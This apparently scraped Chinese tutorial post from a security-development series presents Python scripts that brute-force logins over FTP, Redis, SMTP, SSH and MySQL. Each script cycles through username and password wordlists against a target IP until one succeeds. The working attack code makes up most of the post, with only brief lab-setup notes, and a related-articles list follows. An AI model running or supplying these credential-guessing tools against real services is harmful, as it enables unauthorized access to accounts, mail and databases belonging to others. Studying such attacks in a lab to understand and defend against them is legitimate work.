当前位置: 首页 > news >正文

第159天:安全开发-Python-协议库爆破FTPSSHRedisSMTPMYSQL等

案例一:  Python-文件传输爆破-ftplib 库操作 ftp 协议

开一个ftp

利用ftp正确登录与失败登录都会有不同的回显

使用ftplib库进行测试

from ftplib import FTP  
# FTP服务器地址  
ftp_server = '192.168.172.132'  
# FTP服务器端口(默认为21)  
ftp_port = 21
# FTP登录用户名  
ftp_user = 'root'  
# FTP登录密码  
ftp_pass = '123.comm'
ftp = FTP()
ftp.connect(ftp_server,ftp_port)
ftp.login(ftp_user,ftp_pass)

成功

失败

在此基础之上加上字典进行循环就能爆破出来密码

爆破ftp账号密码的程序

from ftplib import FTP
def ftp_check(ip,port,username,password):ftp = FTP()ftp.connect(ip,port)try:ftp.login(username,password)print(username+"|"+password+"-->success")exit()except Exception as e:print(username+"|"+password+"-->failed")if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ftp_check(ip,port,name,password)

运行结果

如果觉得输出太过繁琐,可以不输出失败的结果 

案例二: Python-数据库爆破-redis 库操作redis 协议

开启redis:端口为6379

配置密码

尝试连接,redis没有账号这一说法,都是用密码连接就ok

连接成功之后可以设置变量,可以利用这一点如果没有连接的话会报错

因为普通连接就算连接不成功他也不会报错

爆破程序

import redis
def redis_check(ip,password):try:conn=redis.Redis(host=ip, port=6379, password=password, db=0)conn.set("test","123")print(password+"-->success")conn.delete("test")exit()except Exception as e:print(password+"-->failed")if __name__ == "__main__":ip = input("please input ip:")with open(".\\conf\\dic_password_redis.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")redis_check(ip,password)

运行结果

案例三:Python-邮件爆破-smtplib 库操作 smtp 协议

smtp调用库smtplib,smtp邮件可以利用授权码代替密码进行登录

需要根据后缀来进行判断是什么邮箱

代码,登录失败会报错

import smtplibdef email_check(email,password):smtp_split = email.split("@")[1]smtp_server = 'smtp.'+smtp_split#print(smtp_server)smtp_port = 25try:smtp_conn = smtplib.SMTP()smtp_conn.connect(smtp_server, 25)  # 25 为 SMTP 端口号smtp_conn.login(email, password)print("password is "+password+' --> ok')exit()except Exception as e:pass#print("error")if __name__ == "__main__":email = input("please input your eamil:")with open(".\\conf\\dic_password_email.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")email_check(email,password)

运行结果

案例四:Python-登录爆破-paramiko库操作ssh协议

ssh连接调用paramiko库

import paramiko
# 创建SSH客户端
client = paramiko.SSHClient()
# 自动添加主机名和密钥到本地的known_hosts文件
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接到远程主机
client.connect('远程主机IP',"port" username='用户名', password='密码')

连接成功不会报错

失败报错

代码,端口为连接的第二个参数,默认为22

import paramiko,timedef ssh_check(ip,username,password):print(username + "  |  "+password +"")client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:client.connect(ip,username=username, password=password)print(username + "  |  "+password +"--> success")exit()except Exception as e:passtime.sleep(1)if __name__ == '__main__':ip = input("please input ip:")with open('.\\conf\\dic_username_ssh.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ssh.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ssh_check(ip,name,password)

运行结果

案例五: Python-数据库爆破-pymysql 库操作 mysql 协议

 创建一个允许远程登陆的用户jie 123.com

CREATE USER 'jie'@'%' IDENTIFIED BY '123.com';
GRANT ALL PRIVILEGES ON *.* TO 'jie'@'%';
FLUSH PRIVILEGES;

能够成功连接

 建立mysql连接

import mysql.connector
# pip install mysql-connector-python 安装这个库
# 创建数据库连接
db = mysql.connector.connect(host="192.168.172.132",  # MySQL服务器地址port=3306,user="jie",   # 用户名password="123.comm",  # 密码database="mysql"  # 数据库名称
)

安装相关库

错误连接会报错

在此基础之上写爆破mysql

import mysql.connectordef mysql_check(ip,port,username,password):try:db = mysql.connector.connect(host=ip,  # MySQL服务器地址port=port,user=username,   # 用户名password=password,  # 密码database="mysql"  # 数据库名称)print(username + " | " +password + "-->  success")exit()except Exception as e:pass
if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")mysql_check(ip,port,name,password)

运行结果

如果再命令行以 python  xx.py 123456这种后面带参数的方式输入需要引入sys库,利用sys.argv[1]

可以把变量设置在文件后面,如下图所示

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Redis 篇-初步了解 Redis 持久化、Redis 主从集群、Redis 哨兵集群、Redis 分片集群
  • k8s中的认证授权
  • kubeadm方式安装k8s+基础命令的使用
  • CentOS7更新YUM源
  • 时空大数据平台:激活新质生产力的智慧引擎
  • Python 将矩阵转换为行最简形式 (Row Echelon Form, REF)和列最简形式 (Column Echelon Form, CEF)
  • DB-GPT部署和试用
  • Linux 之父 Linus Torvalds:低调的神话创造者
  • 研究生招生宣传(2024秋)
  • 一步迅速了解Linux
  • 经典sql题(一)求连续登录不少于三天用户
  • 通过JNI创建java对象和访问java属性
  • PostgreSQL配置主从同步
  • 从底层原理上理解ClickHouse 中的稀疏索引
  • python解析ip范围,判断ip是否在ip范围内
  • 《Javascript高级程序设计 (第三版)》第五章 引用类型
  • angular2 简述
  • extract-text-webpack-plugin用法
  • JavaScript 无符号位移运算符 三个大于号 的使用方法
  • Java编程基础24——递归练习
  • leetcode-27. Remove Element
  • leetcode98. Validate Binary Search Tree
  • Map集合、散列表、红黑树介绍
  • MySQL常见的两种存储引擎:MyISAM与InnoDB的爱恨情仇
  • Node.js 新计划:使用 V8 snapshot 将启动速度提升 8 倍
  • Python socket服务器端、客户端传送信息
  • uva 10370 Above Average
  • 包装类对象
  • 从tcpdump抓包看TCP/IP协议
  • 你不可错过的前端面试题(一)
  • 前端js -- this指向总结。
  • 如何在 Tornado 中实现 Middleware
  • 一道面试题引发的“血案”
  • 一些css基础学习笔记
  • 【运维趟坑回忆录 开篇】初入初创, 一脸懵
  • 湖北分布式智能数据采集方法有哪些?
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • 整理一些计算机基础知识!
  • ​​​​​​​​​​​​​​Γ函数
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • #QT 笔记一
  • $con= MySQL有关填空题_2015年计算机二级考试《MySQL》提高练习题(10)
  • (1综述)从零开始的嵌入式图像图像处理(PI+QT+OpenCV)实战演练
  • (Java)【深基9.例1】选举学生会
  • (Python第六天)文件处理
  • (Redis使用系列) SpirngBoot中关于Redis的值的各种方式的存储与取出 三
  • (Spark3.2.0)Spark SQL 初探: 使用大数据分析2000万KF数据
  • (vue)el-checkbox 实现展示区分 label 和 value(展示值与选中获取值需不同)
  • (补充):java各种进制、原码、反码、补码和文本、图像、音频在计算机中的存储方式
  • (超详细)语音信号处理之特征提取
  • (附源码)node.js知识分享网站 毕业设计 202038
  • (附源码)springboot优课在线教学系统 毕业设计 081251
  • (附源码)计算机毕业设计大学生兼职系统
  • (每日持续更新)jdk api之FileFilter基础、应用、实战
  • (十五)devops持续集成开发——jenkins流水线构建策略配置及触发器的使用